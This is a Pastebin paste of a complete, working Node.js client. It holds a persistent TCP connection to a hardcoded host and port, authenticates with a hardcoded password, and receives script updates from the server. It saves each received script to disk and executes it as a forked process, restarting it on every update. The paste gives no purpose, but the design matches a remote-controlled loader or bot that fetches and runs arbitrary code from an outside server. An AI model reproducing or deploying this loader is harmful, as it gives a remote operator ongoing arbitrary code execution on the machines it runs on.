Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*global */
- var net = require('net');
- var fs = require('fs');
- var path = require('path');
- var cp = require('child_process');
- var process = require('process');
- function logToFile(str) {
- console.log(str);
- fs.appendFileSync('err.log', str + "\r\n\r\n");
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- /* todo uncomment
- process.on('uncaughtException', function(err) {
- var str = new Error().stack.toString();
- str = 'uncaughtException: ' + str;
- console.log(str);
- try {
- fs.appendFileSync("err.log", str + "\r\n\r\n");
- } catch (e) {
- console.log("WTF");
- }
- });
- */
- var config = {
- host : "defaultcow.com",
- port : "58111",
- sentinel : '\0',
- pass : 'rmcrMPq1NKdE5vRFNBNq',
- conRetryTimeoutOnEnd: 1, //seconds
- conRetryTimeoutOnErr: 1, //seconds todo set to 10
- scriptPath: "script.js",
- versionPath: "version.txt",
- serverMaxTimeout: 15, //minutes
- sendAliveMin: 10,
- sendAliveMax: 13
- };
- var ScriptManager = function(scriptPath, versionPath) {
- var cv = function() {
- var version;
- try {
- version = fs.readFileSync(versionPath);
- } catch (e) {
- return null;
- }
- return version.toString();
- };
- var cs = function() {
- var script;
- try {
- script = fs.readFileSync(scriptPath);
- } catch (e) {
- return null;
- }
- return script.toString();
- };
- var currentVersion = cv();
- var currentScript = cs();
- this.setCurrentScriptAndVersion = function(script, version) {
- currentVersion = version;
- currentScript = script;
- try {
- fs.writeFileSync(scriptPath, script);
- fs.writeFileSync(versionPath, version);
- } catch(e) {
- logToFile(e.toString());
- }
- };
- this.getCurrentVersion = function() {
- if (currentScript && currentScript.length > 0) {
- return currentVersion;
- }
- return null;
- };
- this.getCurrentScript = function() {
- return currentScript;
- };
- };
- var Server = function(host, port, pass, sentinel) {
- var sendStr = function(str, sentinel) {
- socket.write(str);
- socket.write(sentinel);
- };
- this.disconnect = function() {
- socket.end();
- };
- var extractAllMsgsFrom = function(recData, sentinel) {
- var arr = [];
- while (true) {
- var split = recData.indexOf(sentinel);
- if (split === -1) {
- break;
- }
- var msg = recData.substring(0, split);
- recData = recData.substring(split + 1);
- arr.push(msg);
- }
- return arr;
- };
- var deleteAllMsgsFrom = function(recData, sentinel) {
- var split = recData.lastIndexOf(config.sentinel);
- if (split === -1) {
- return recData;
- }
- return recData.substring(split + 1);
- };
- this.setEventHandlers = function(onConnect, onMsg, onClose) {
- this.onConnect = onConnect ? onConnect : function() {};
- this.onMsg = onMsg ? onMsg : function() {};
- this.onClose = onClose ? onClose : function() {};
- };
- this.sendAlive = function() {
- // need random so that server is not kind of ddos-ed
- var server = this;
- var nMinutes = getRandomInt(config.sendAliveMin, config.sendAliveMax);
- setTimeout(function() {
- server.sendMsg({
- type: 'KEEPALIVE'
- });
- }, nMinutes * 60 * 1000);
- };
- this.connect = function() {
- var server = this;
- socket = net.connect(this.port, this.host, function() {
- sendStr(server.pass, server.sentinel);
- server.onConnect(server);
- // socket.setKeepAlive(true, 10 * 1000); // maybe not needed
- server.sendAlive();
- });
- socket.setTimeout(config.serverMaxTimeout * 60 * 1000);
- socket.on('timeout', function() {
- logToFile('timeout on socket');
- socket.destroy();
- });
- var recData = '';
- socket.on('data', function(data) {
- data = data.toString();
- recData += data;
- var msgs = extractAllMsgsFrom(recData, server.sentinel);
- if (msgs.length === 0) {
- return;
- }
- for (var i = 0; i < msgs.length; i++) {
- var msg = msgs[i];
- server.onMsg(server, msg);
- }
- recData = deleteAllMsgsFrom(recData, server.sentinel);
- });
- socket.on('error', function(err) {
- logToFile(err);
- });
- socket.on('end', function() {
- socket.end();
- });
- socket.on('close', function(err) {
- server.onClose(server, err);
- });
- };
- this.sendMsg = function(msg) {
- var str = '';
- try {
- str = JSON.stringify(msg);
- } catch (e) {
- logToFile(e);
- str = 'JSON stringify error';
- }
- sendStr(str, this.sentinel);
- };
- this.setEventHandlers(null, null, null, null);
- this.host = host;
- this.port = port;
- this.sentinel = sentinel;
- this.pass = pass;
- var socket = null;
- };
- var ScriptExecutor = function(scriptName) {
- var scriptPath = path.join(__dirname, scriptName);
- var started = false;
- var se = this;
- var currentPid;
- var proc;
- this.start = function() {
- started = true;
- console.log("started true");
- proc = cp.fork(scriptPath);
- currentPid = proc.pid;
- proc.started = true;
- var se = this;
- proc.on('exit', function(code) {
- console.log("started false. exit");
- if (this.pid == currentPid) {
- started = false;
- }
- });
- proc.on('error', function(err) {
- console.log("started false. error");
- if (this.pid == currentPid) {
- started = false;
- }
- });
- return proc;
- };
- this.kill = function() {
- proc.kill();
- };
- this.isStarted = function() {
- return started;
- };
- };
- function onConnect(server) {
- server.sendMsg({
- type: 'UPDATE_REQUEST',
- version: sm.getCurrentVersion()
- });
- }
- function onMsg(server, msg) {
- try {
- msg = JSON.parse(msg);
- } catch (e) {
- logToFile(msg.toString());
- server.disconnect(); // onEnd callback will be called later
- return;
- }
- if (msg.type && msg.type == 'KEEPALIVE') {
- server.sendAlive();
- return;
- }
- if (msg.conRetryTimeout && msg.conRetryTimeout > 0) {
- config.conRetryTimeout = msg.conRetryTimeout;
- server.disconnect();
- }
- if (!msg.type || msg.type !== 'UPDATE_RESPONSE') {
- return;
- }
- if (msg.script && msg.version) {
- sm.setCurrentScriptAndVersion(msg.script, msg.version);
- // start the script. restart if running
- if (se.isStarted()) {
- se.kill();
- console.log("killing");
- }
- console.log("starting");
- se.start();
- } else {
- // start the script. don't restart if running
- if (!se.isStarted()) {
- se.start();
- console.log("starting. not killing");
- }
- }
- }
- function onClose(server, err) {
- var time = 0;
- if (err) {
- logToFile(err);
- time = config.conRetryTimeoutOnEnd * 1000;
- } else {
- time = config.conRetryTimeoutOnErr * 1000;
- }
- setTimeout(function() {
- server.connect();
- }, time);
- }
- var sm = new ScriptManager(config.scriptPath, config.versionPath);
- var se = new ScriptExecutor(config.scriptPath);
- var con = new Server(config.host, config.port, config.pass, config.sentinel);
- con.setEventHandlers(onConnect, onMsg, onClose);
- con.connect();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement